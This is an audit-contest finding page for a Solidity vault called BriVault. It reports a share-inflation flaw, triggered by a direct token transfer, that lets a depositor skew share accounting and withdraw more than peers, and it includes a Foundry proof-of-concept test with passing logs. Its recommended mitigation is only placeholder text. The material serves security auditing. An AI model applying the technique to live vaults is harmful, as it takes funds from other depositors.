BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

User can bypass the fee, get more in return and deflate shares.

User can bypass the fee, get more in return and deflate shares.

Description

  • if users deposit they get shares in return, shares is divided by total asset inside the contract

  • but an attacker can lower the shares users get by direct transfer, lowering the shares the next user gets and bypassing the fees

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • Low, user can lower the shares other people get by direct transfer, but that cost money

Impact:

  • next user after the direct transfer will possibly get lower shares

Proof of Concept

add this to your test suite:

assume the following Scenaro:

scenario

  1. user 1 deposit and join (0)

  2. user 1 direct transfer

  3. user 3 deposit and join (1)

  4. user 2 deposit and join (0)

  5. warp and set winner to (0)

  6. using direct transfer, user 1 bypass the fee and get more money


function test_user1GetWayMoreInReturn() public {
vm.prank(owner);
briVault.setCountry(countries);
uint256 deposit = 0.00023 ether;
//user 1 deposit
vm.startPrank(user1);
mockToken.approve(address(briVault), deposit);
uint256 stakedAsset1 = briVault.deposit(deposit, user1);
briVault.joinEvent(0);
//user1 direct transfer
mockToken.transfer(address(briVault), deposit);
uint256 briVaultBalance2 = mockToken.balanceOf(address(briVault));
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), deposit);
uint256 stakedAsset3 = briVault.deposit(deposit, user3);
briVault.joinEvent(1);
vm.stopPrank();
//user 2 deposit
vm.startPrank(user2);
mockToken.approve(address(briVault), deposit);
uint256 stakedAsset2 = briVault.deposit(deposit, user2);
briVault.joinEvent(0);
vm.stopPrank();
vm.warp(eventEndDate +1);
vm.prank(owner);
briVault.setWinner(0);
uint256 user1WinBalance = mockToken.balanceOf(user1);
uint256 user2WinBalance = mockToken.balanceOf(user2);
console.log("user1 final balance before withdraw:", user1WinBalance);
console.log("user2 final balance before withdraw:", user2WinBalance);
vm.prank(user1);
briVault.withdraw();
vm.prank(user2);
briVault.withdraw();
uint256 user1FinalBalance = mockToken.balanceOf(user1);
uint256 user2FinalBalance = mockToken.balanceOf(user2);
console.log("user1 final balance after withdraw:", user1FinalBalance);
console.log("user2 final balance after withdraw:", user2FinalBalance);
console.log("user1 profit:", user1FinalBalance - user1WinBalance);
console.log("user2 profit:", user2FinalBalance - user2WinBalance);
uint256 user1TotalInvestment = deposit * 2; // deposit + direct transfer
uint256 user2TotalInvestment = deposit;
uint256 user1NetProfit = user1FinalBalance - (20 ether - user1TotalInvestment);
uint256 user2NetProfit = user2FinalBalance - (20 ether - user2TotalInvestment);
console.log("user1 net profit (after accounting for investment):", user1NetProfit);
console.log("user2 net profit (after accounting for investment):", user2NetProfit);
assert(mockToken.balanceOf(user1) - user1WinBalance > mockToken.balanceOf(user2) - user2WinBalance);
}
[PASS] test_user1GetWayMoreInReturn() (gas: 2057286)
Logs:
user1 final balance before withdraw: 19999540000000000000
user2 final balance before withdraw: 19999770000000000000
user1 final balance after withdraw: 20000147964730639732
user2 final balance after withdraw: 20000071685269360267
user1 profit: 607964730639732
user2 profit: 301685269360267
user1 net profit (after accounting for investment): 607964730639732
user2 net profit (after accounting for investment): 301685269360267
test_withoutDirectTransfer() (gas: 2052907)
Logs:
user1 final balance before withdraw: 19999540000000000000
user2 final balance before withdraw: 19999770000000000000
user1 final balance after withdraw: 20000144133333333333
user2 final balance after withdraw: 20000072066666666666
user1 profit: 604133333333333
user2 profit: 302066666666666
user1 net profit (after accounting for investment): 604133333333333
user2 net profit (after accounting for investment): 302066666666666

Recommended Mitigation

Change the accounting method

- remove this code
+ add this code
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!